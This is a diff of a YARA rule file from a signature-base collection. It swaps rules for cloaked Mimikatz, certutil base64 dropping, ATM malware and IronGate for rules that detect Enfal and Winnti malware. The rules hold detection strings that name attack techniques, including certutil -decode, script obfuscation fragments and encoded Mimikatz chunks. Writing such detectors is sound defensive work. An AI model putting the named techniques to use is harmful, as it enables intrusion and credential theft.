+		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
 }
-rule SIGNATURE_BASE_Gen_Base64_EXE : HIGHVOL FILE
+rule SIGNATURE_BASE_MAL_Enfal_Nov22 : FILE
 {
 	meta:
-		description = "Detects Base64 encoded Executable in Executable"
+		description = "Detects a certain type of Enfal Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ef919a63-9a29-5624-a084-b92e3578e3a6"
-		date = "2017-04-21"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/general_cloaking.yar#L71-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6fe18ee727a836c0baaac4dbbffdb9f50065f56a4c6eeee7e54792a8a66229de"
+		id = "9dcba14e-2175-5da0-8629-5b952c213f6c"
+		date = "2015-02-10"
+		modified = "2023-01-06"
+		old_rule_name = "Enfal_Malware"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_enfal.yar#L1-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bf349ba2b7bd635808b4ee23c6286e7dd403fbc185c6b59f0bb1fbf47ba7d9bb"
 		score = 75
 		quality = 85
-		tags = "HIGHVOL, FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash2 = "42fa6241ab94c73c7ab386d600fae70da505d752daab2e61819a0142b531078a"
+		hash2 = "bf433f4264fa3f15f320b35e773e18ebfe94465d864d3f4b2a963c3e5efd39c2"
 
 	strings:
-		$s1 = "TVpTAQEAAAAEAAAA//8AALgAAAA" wide ascii
-		$s2 = "TVoAAAAAAAAAAAAAAAAAAAAAAAA" wide ascii
-		$s3 = "TVqAAAEAAAAEABAAAAAAAAAAAAA" wide ascii
-		$s4 = "TVpQAAIAAAAEAA8A//8AALgAAAA" wide ascii
-		$s5 = "TVqQAAMAAAAEAAAA//8AALgAAAA" wide ascii
-		$fp1 = "BAM Management class library"
+		$xop1 = { 00 00 83 c9 ff 33 c0 f2 ae f7 d1 49 b8 ff 8f 01 00 2b c1 }
+		$s1 = "POWERPNT.exe" fullword ascii
+		$s2 = "%APPDATA%\\Microsoft\\Windows\\" ascii
+		$s3 = "%HOMEPATH%" fullword ascii
+		$s4 = "Server2008" fullword ascii
+		$s5 = "%ComSpec%" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and 1 of ($s*) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or 3 of ($s*))
 }
-rule SIGNATURE_BASE_Binary_Drop_Certutil : FILE
+rule SIGNATURE_BASE_Enfal_Malware_Backdoor : FILE
 {
 	meta:
-		description = "Drop binary as base64 encoded cert trick"
+		description = "Generic Rule to detect the Enfal Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "19791e51-d041-524d-80fa-9f3ec54eb084"
-		date = "2015-07-15"
+		id = "4631888c-e1e2-5969-a312-0f0011cd605c"
+		date = "2015-02-10"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/9DNn8q"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/general_cloaking.yar#L92-L107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3e2b62442b5da6ab887e1eb03cdd44932651fa51ce11e87e6fc29015e708d2f3"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_enfal.yar#L27-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6ce0c19e666cc0db50194bd56f51beddeee22c787b67810655241fdd4d34a31e"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "6d484daba3927fc0744b1bbd7981a56ebef95790"
+		hash1 = "d4071272cc1bf944e3867db299b3f5dce126f82b"
+		hash2 = "6c7c8b804cc76e2c208c6e3b6453cb134d01fa41"
 
 	strings:
-		$s0 = "echo -----BEGIN CERTIFICATE----- >" ascii
-		$s1 = "echo -----END CERTIFICATE----- >>" ascii
-		$s2 = "certutil -decode " ascii
+		$x1 = "Micorsoft Corportation" fullword wide
+		$x2 = "IM Monnitor Service" fullword wide
+		$s1 = "imemonsvc.dll" fullword wide
+		$s2 = "iphlpsvc.tmp" fullword
+		$z1 = "urlmon" fullword
+		$z2 = "Registered trademarks and service marks are the property of their respec" wide
+		$z3 = "XpsUnregisterServer" fullword
+		$z4 = "XpsRegisterServer" fullword
+		$z5 = "{53A4988C-F91F-4054-9076-220AC5EC03F3}" fullword
 
 	condition:
-		filesize <10KB and all of them
+		uint16(0)==0x5a4d and (1 of ($x*) or ( all of ($s*) and all of ($z*)))
 }
-rule SIGNATURE_BASE_Stegokatz : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Winnti_Signing_Cert : FILE
 {
 	meta:
-		description = "Encoded Mimikatz in other file types"
+		description = "Detects a signing certificate used by the Winnti APT group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "78868bb0-af69-573d-afd2-350a46f69137"
-		date = "2015-09-11"
+		id = "0cf185eb-fb8d-5e1f-9089-4f36eb4798de"
+		date = "2015-10-10"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/jWPBBY"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/general_cloaking.yar#L109-L123"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "091b07220d2a89822aa382edcecf5869d463e375747cc41f52417e66ccf0e2da"
-		score = 70
+		reference = "https://securelist.com/analysis/publications/72275/i-am-hdroot-part-1/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L9-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6fd5f2808e7d683b9c4b7f5d4ccfd0eb87037eb2e70700b2c083db8c6ddf4a26"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a9a8dc4ae77b1282f0c8bdebd2643458fc1ceb3145db4e30120dd81676ff9b61"
+		hash2 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
 
 	strings:
-		$s1 = "VC92Ny9TSXZMNk5jLy8vOUlqUTFVRlFNQTZMLysvdjlJaTh2L0ZUNXJBUUJJaTFRa1NFaUx6K2hWSS8vL1NJME44bklCQU9pZC92Ny9USTJjSkpBQUFBQXp3RW1MV3hCSmkyc1lTWXR6S0VtTDQxL0R6TXhNaTl4SmlWc0lUWWxMSUUySlF4aFZWbGRCVkVGVlFWWkJWMGlCN1BBQUFBQklnMlFrYUFDNE1BQUFBRW1MNkVTTmNPQ0pSQ1JnaVVRa1pFbU5RN0JKaTlsTWpRWFBGQU1BU0ls" ascii
-		$s2 = "Rpd3ovN3FlalVtNklLQ0xNNGtOV1BiY0VOVHROT0Zud25CWGN0WS9BcEdMR28rK01OWm85Nm9xMlNnY1U5aTgrSTBvNkFob1FOTzRHQWdtUElEVmlqald0Tk90b2FmN01ESWJUQkF5T0pYbTB4bFVHRTBZWEFWOXVoNHBkQnRrS0VFWWVBSEE2TDFzU0c5a2ZFTEc3QWd4WTBYY1l3ZzB6QUFXS09JZE9wQVhEK3lnS3lsR3B5Q1ljR1NJdFNseGZKWUlVVkNFdEZPVjRJUldERUl1QXpKZ2pCQWdsd0Va" ascii
+		$s1 = "Guangzhou YuanLuo Technology Co." ascii
+		$s2 = "Guangzhou YuanLuo Technology Co.,Ltd" ascii
+		$s3 = "$Asahi Kasei Microdevices Corporation0" fullword ascii
 
 	condition:
-		filesize <1000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <700KB and 1 of them
 }
-rule SIGNATURE_BASE_Obfuscated_VBS_April17 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Winnti_Malware_Nsiproxy : FILE
 {
 	meta:
-		description = "Detects cloaked Mimikatz in VBS obfuscation"
+		description = "Detects a Winnti rootkit"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ca60b885-bb56-55ee-a2b3-dea6958883c2"
-		date = "2017-04-21"
+		id = "9b14541c-6077-5f3b-8f73-ff3d283bf209"
+		date = "2015-10-10"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/general_cloaking.yar#L125-L137"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "590dca22a4fcbc2bbfb4358c53f7cb6c06824970139cca251c4cf1bd435817b0"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L28-L54"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "742b091cc630ecea995be8d022eabadef1725dbd952f66a9ca62ecdee6985733"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
+		hash2 = "cf1e006694b33f27d7c748bab35d0b0031a22d193622d47409b6725b395bffb0"
+		hash3 = "326e2cabddb641777d489a9e7a39d52c0dc2dcb1fde1762554ea162792056b6e"
+		hash4 = "aff7c7478fe33c57954b6fec2095efe8f9edf5cdb48a680de9439ba62a77945f"
+		hash5 = "ba7ccd027fd2c826bbe8f2145d5131eff906150bd98fe25a10fbee2c984df1b8"
 
 	strings:
-		$s1 = "::::::ExecuteGlobal unescape(unescape(" ascii
+		$x1 = "\\Driver\\nsiproxy" wide
+		$a1 = "\\Device\\StreamPortal" wide
+		$a2 = "\\Device\\PNTFILTER" wide
+		$s1 = "Cookie: SN=" fullword ascii
+		$s2 = "\\BaseNamedObjects\\_transmition_synchronization_" wide
+		$s3 = "Winqual.sys" fullword wide
+		$s4 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" wide
+		$s5 = "http://www.wasabii.com.tw 0" fullword ascii
 
 	condition:
-		filesize <500KB and all of them
+		uint16(0)==0x5a4d and $x1 and 1 of ($a*) and 2 of ($s*)
 }
-rule SIGNATURE_BASE_Obfuscated_JS_April17 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Winnti_Malware_Updatedll : FILE
 {
 	meta:
-		description = "Detects cloaked Mimikatz in JS obfuscation"
+		description = "Detects a Winnti malware - Update.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "44abd2c0-5f8d-5a8c-b282-a09853e12054"
-		date = "2017-04-21"
+		id = "c6896191-d856-55f2-a47f-621a4f10d0c7"
+		date = "2015-10-10"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/general_cloaking.yar#L139-L153"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c75bf0ad8dd35fabbaedb54c2630249497edbb215b6ce2b707e32f82e8fb8f56"
+		reference = "VTI research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L56-L89"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4b483e77106cc0e2f8ed2398de8b34b8246472875ad3e0612fa06cac96b7e6aa"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016"
+		hash2 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
+		hash3 = "6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58"
+		hash4 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
 
 	strings:
-		$s1 = "\";function Main(){for(var " ascii
-		$s2 = "=String.fromCharCode(parseInt(" ascii
-		$s3 = "));(new Function(" ascii
+		$c1 = "'Wymajtec$Tima Stempijg Sarviges GA -$G2" fullword ascii
+		$c2 = "AHDNEAFE1.sys" fullword ascii
+		$c3 = "SOTEFEHJ3.sys" fullword ascii
+		$c4 = "MainSYS64.sys" fullword ascii
+		$s1 = "\\Registry\\User\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" wide
+		$s2 = "Update.dll" fullword ascii
+		$s3 = "\\\\.\\pipe\\usbpcex%d" fullword wide
+		$s4 = "\\\\.\\pipe\\usbpcg%d" fullword wide
+		$s5 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WMI" wide
+		$s6 = "\\??\\pipe\\usbpcg%d" fullword wide
+		$s7 = "\\??\\pipe\\usbpcex%d" fullword wide
+		$s8 = "HOST: %s" fullword ascii
+		$s9 = "$$$--Hello" fullword ascii
 
 	condition:
-		filesize <500KB and all of them
+		uint16(0)==0x5a4d and filesize <1000KB and ((1 of ($c*) and 3 of ($s*)) or all of ($s*))
 }
-rule SIGNATURE_BASE_ATM_Malware_Xfscashncr_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Winnti_Malware_FWPK : FILE
 {
 	meta:
-		description = "Detects ATM Malware XFSCashNCR"
-		author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
-		id = "0a70ef9a-9dde-54c9-a3a2-dfceff32932b"
-		date = "2019-08-28"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/r3c0nst/status/1166773324548063232"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_atm_xfscashncr.yar#L2-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "014d07115543c6e041649a1c57206a75fd555bf0458c7578a33c81b473c72751"
+		description = "Detects a Winnti malware - FWPKCLNT.SYS"
+		author = "Florian Roth (Nextron Systems)"
+		id = "591ad72d-b9d4-5cd9-9103-37e001026610"
+		date = "2015-10-10"
+		modified = "2023-01-06"
+		reference = "VTI research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L90-L117"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6e87b06f6bf11dceb04c8eb4910f5d98ec3fe430fa984eeed8b73e99b28c5abe"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "d6dff67a6b4423b5721908bdcc668951f33b3c214e318051c96e8c158e8931c0"
+		hash1 = "1098518786c84b0d31f215122275582bdcd1666653ebc25d50a142b4f5dabf2c"
+		hash2 = "9a684ffad0e1c6a22db1bef2399f839d8eff53d7024fb014b9a5f714d11febd7"
+		hash3 = "a836397817071c35e24e94b2be3c2fa4ffa2eb1675d3db3b4456122ff4a71368"
 
 	strings:
-		$Code1 = {50 8b 4d e8 8b 51 10 52 6a 00 68 2d 01 00 00 8b 45 e8 0f b7 48 1c 51 e8}
-		$Code2 = {52 8d 45 d0 50 68 2e 01 00 00 8b 4d e8 0f b7 51 1c 52 e8}
-		$x_StatusMessage1 = "[+] Ingrese Denominacion ISO" nocase ascii
-		$x_StatusMessage2 = "[+] Ingrese numero de billetes" nocase ascii
-		$x_StatusMessage3 = "[!] FAIL.. dispensadores no encontrados" nocase ascii
-		$x_StatusMessage4 = "[!] Unable continue, IMPOSIBLE abrir dispenser" nocase ascii
-		$x_PDB = "C:\\Users\\cyttek\\Downloads\\xfs_cashXP\\Debug\\xfs_cash_ncr.pdb" nocase ascii
-		$LogFile = "XfsLog.txt" nocase ascii
+		$s0 = "\\Registry\\Machine\\System\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\" wide
+		$s1 = "%x:%d->%x:%d, Flag %s%s%s%s%s, seq %u, ackseq %u, datalen %u" fullword ascii
+		$s2 = "FWPKCLNT.SYS" fullword ascii
+		$s3 = "Port Layer" fullword wide
+		$s4 = "%x->%x, icmp type %d, code %d" fullword ascii
+		$s5 = "\\BaseNamedObjects\\{93144EB0-8E3E-4591-B307-8EEBFE7DB28E}" wide
+		$s6 = "\\Ndi\\Interfaces" wide
+		$s7 = "\\Device\\{93144EB0-8E3E-4591-B307-8EEBFE7DB28F}" wide
+		$s8 = "Bad packet" fullword ascii
+		$s9 = "\\BaseNamedObjects\\EKV0000000000" wide
+		$s10 = "%x->%x" fullword ascii
+		$s11 = "IPInjectPkt" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize <1500KB and (1 of ($x*) or 2 of them )
+		uint16(0)==0x5a4d and filesize <642KB and all of them
 }
-rule SIGNATURE_BASE_Irongate_APT_Step7Prosim_Gen : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Winnti_Malware_Streamportal_Gen : FILE
 {
 	meta:
-		description = "Detects IronGate APT Malware - Step7ProSim DLL"
+		description = "Detects a Winnti malware - Streamportal"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a73cf9e2-c24f-5553-92e2-3a1a882a4a06"
-		date = "2016-06-04"
+		id = "f9d31d6b-a6f7-5359-b741-960b678e0b9c"
+		date = "2015-10-10"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/Mr6M2J"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irongate.yar#L10-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aab41ada32a8186f958baccad08b60ac1ab686f7561d4dd4471a1e88ddd53730"
-		score = 90
+		reference = "VTI research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L119-L141"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "249f51b263fbcab650983d75482fd4787934731e415fcbd0e6f6925032aac690"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0539af1a0cc7f231af8f135920a990321529479f6534c3b64e571d490e1514c3"
-		hash2 = "fa8400422f3161206814590768fc1a27cf6420fc5d322d52e82899ac9f49e14f"
-		hash3 = "5ab1672b15de9bda84298e0bb226265af09b70a9f0b26d6dfb7bdd6cbaed192d"
+		hash1 = "326e2cabddb641777d489a9e7a39d52c0dc2dcb1fde1762554ea162792056b6e"
+		hash2 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
+		hash3 = "aff7c7478fe33c57954b6fec2095efe8f9edf5cdb48a680de9439ba62a77945f"
 
 	strings:
-		$x1 = "\\obj\\Release\\Step7ProSim.pdb" ascii
-		$s1 = "Step7ProSim.Interfaces" fullword ascii
-		$s2 = "payloadExecutionTimeInMilliSeconds" fullword ascii
-		$s3 = "PackagingModule.Step7ProSim.dll" fullword wide
-		$s4 = "<KillProcess>b__0" fullword ascii
-		$s5 = "newDllFilename" fullword ascii
-		$s6 = "PackagingModule.exe" fullword wide
-		$s7 = "$863d8af0-cee6-4676-96ad-13e8540f4d47" fullword ascii
-		$s8 = "RunPlcSim" fullword ascii
-		$s9 = "$ccc64bc5-ef95-4217-adc4-5bf0d448c272" fullword ascii
-		$s10 = "InstallProxy" fullword ascii
-		$s11 = "DllProxyInstaller" fullword ascii
-		$s12 = "FindFileInDrive" fullword ascii
+		$s0 = "Proxies destination address/port for TCP" fullword wide
+		$s3 = "\\Device\\StreamPortal" wide
+		$s4 = "Transport-Data Proxy Sub-Layer" fullword wide
+		$s5 = "Cookie: SN=" fullword ascii
+		$s6 = "\\BaseNamedObjects\\_transmition_synchronization_" wide
+		$s17 = "NTOSKRNL.EXE" fullword wide
+		$s19 = "FwpsReferenceNetBufferList0" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <50KB and ($x1 or 3 of ($s*))) or (6 of them )
+		uint16(0)==0x5a4d and filesize <275KB and all of them
 }
-rule SIGNATURE_BASE_Irongate_Pyinstaller_Update_EXE : FILE
+import "pe"
+
+rule SIGNATURE_BASE_WINNTI_Kingsoft_Moz_Confustion : FILE
 {
 	meta:
-		description = "Detects a PyInstaller file named update.exe as mentioned in the IronGate APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f8d1b97e-86d9-547f-a212-a84fb068af3c"
-		date = "2016-06-04"
-		modified = "2023-01-06"
-		reference = "https://goo.gl/Mr6M2J"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irongate.yar#L42-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b55e02af900b3510743502bd72d5e14c9235985b5a7b05def0f5c462b28f2216"
-		score = 60
+		description = "Detects Barium sample with Copyright confusion"
+		author = "Markus Neis"
+		id = "0c45c1ff-6734-504f-91d1-cf5d6744252f"
+		date = "2018-04-13"
+		modified = "2023-12-05"
+		reference = "https://www.virustotal.com/en/file/070ee4a40852b26ec0cfd79e32176287a6b9d2b15e377281d8414550a83f6496/analysis/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L143-L159"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ebd8465f484e1142ac741263282ea1c6f98e6bd0637ebdcec6ecc6233193407e"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "2044712ceb99972d025716f0f16aa039550e22a63000d2885f7b7cd50f6834e0"
-
-	strings:
-		$s1 = "bpython27.dll" fullword ascii
-		$s5 = "%s%s.exe" fullword ascii
-		$s6 = "bupdate.exe.manifest" fullword ascii
-		$s9 = "bunicodedata.pyd" fullword ascii
-		$s11 = "distutils.sysconfig(" ascii
-		$s16 = "distutils.debug(" ascii
-		$s18 = "supdate" fullword ascii
+		hash1 = "070ee4a40852b26ec0cfd79e32176287a6b9d2b15e377281d8414550a83f6496"
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <3000KB and (pe.imphash()=="7f01b23ccfd1017249c36bc1618d6892" or (pe.version_info["LegalCopyright"] contains "Mozilla Corporation" and pe.version_info["ProductName"] contains "Kingsoft"))
 }
-rule SIGNATURE_BASE_Nirsoft_Netresview : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Winnti_MAL_Dec19_1 : FILE
 {
 	meta:
-		description = "Detects NirSoft NetResView - utility that displays the list of all network resources"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bf786432-3ecf-510e-8d95-50aff09826ce"
-		date = "2016-06-04"
+		description = "Detects Winnti malware"
+		author = "Unknown"
+		id = "322e9362-bfb6-55e3-9a93-d54246311d11"
+		date = "2019-12-06"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/Mr6M2J"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irongate.yar#L67-L82"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "56c3c7a98bcefa609ee604ea0d7d3f4dd237d91a9439eeed66e0d6f3a20dfdd0"
-		score = 40
+		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L160-L176"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9e26a642cfe143b8efc52b2b9789c2ec54592f6347f16fb8716912767e4f9879"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "83f0352c14fa62ae159ab532d85a2b481900fed50d32cc757aa3f4ccf6a13bee"
 
 	strings:
-		$s1 = "NetResView.exe" fullword wide
-		$s2 = "2005 - 2013 Nir Sofer" wide
+		$e1 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411015}" ascii nocase
+		$e2 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411014}" ascii nocase
+		$e3 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016}" ascii nocase
+		$e4 = "\\BaseNamedObjects\\{B2B87CCA-66BC-4C24-89B2-C23C9EAC2A66}" wide
+		$e5 = "BFE_Notify_Event_{7D00FA3C-FBDC-4A8D-AEEB-3F55A4890D2A}" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <3000KB and ( any of ($e*))
 }
-rule SIGNATURE_BASE_Line_Dancer
+import "pe"
+
+rule SIGNATURE_BASE_APT_Winnti_MAL_Dec19_2
 {
 	meta:
-		description = "Targets code sections of Line Dancer, a shellcode loader targeting Cisco ASA devices."
-		author = "NCSC"
-		id = "3b49a861-8107-577a-bae1-ae28d424cc13"
-		date = "2024-04-24"
-		modified = "2024-04-29"
-		reference = "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/line/ncsc-tip-line-dancer.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cisco_asa_line_dancer_apr24.yar#L2-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "179e58274a792bc4a16787d251f5ad25de1271084323e62e153fa6d461e3c07e"
+		description = "Detects Winnti malware"
+		author = "Unknown"
+		id = "77f2cb7d-90a6-5654-9d2e-6b525cd910a2"
+		date = "2019-12-06"
+		modified = "2023-12-05"
+		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti.yar#L178-L201"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "216557999b7100f26556f9f7088b16ba125ac39b308cb77c997d620ce9591d24"
 		score = 75
 		quality = 85
 		tags = ""
 
 	strings:
-		$ = { 48 8D 5E 20 48 8D 3D BB FF FF FF BA 20 00 00 00 }
-		$ = { 4C 89 EE 44 89 F2 48 8D 3D 9A 27 00 00 }
-		$ = { 41 FF D7 41 5F 41 5E 41 5D 41 5C 5B 5D 48 C7 C0 01 00 00 00 5F }
+		$a1 = "IPSecMiniPort" wide fullword
+		$a2 = "ndis6fw" wide fullword
+		$a3 = "TCPIP" wide fullword
+		$a4 = "NDIS.SYS" ascii fullword
+		$a5 = "ntoskrnl.exe" ascii fullword
+		$a6 = "\\BaseNamedObjects\\{B2B87CCA-66BC-4C24-89B2-C23C9EAC2A66}" wide
+		$a7 = "\\Device\\Null" wide
+		$a8 = "\\Device" wide
+		$a9 = "\\Driver" wide
+		$b1 = { 66 81 7? ?? 70 17 }
+		$b2 = { 81 7? ?? 07 E0 15 00 }
+		$b3 = { 8B 46 18 3D 03 60 15 00 }
 
 	condition:
-		all of them
+		(6 of ($a*)) and (2 of ($b*))
 }
 import "pe"
 
-rule SIGNATURE_BASE_SUSP_Unsigned_Googleupdate : FILE
+rule SIGNATURE_BASE_APT_Winnti_MAL_Dec19_3
 {
 	meta:
-		description = "Detects suspicious unsigned GoogleUpdate.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2575b882-3526-5c42-9d50-83fb0b7df3f5"
-		date = "2019-08-05"
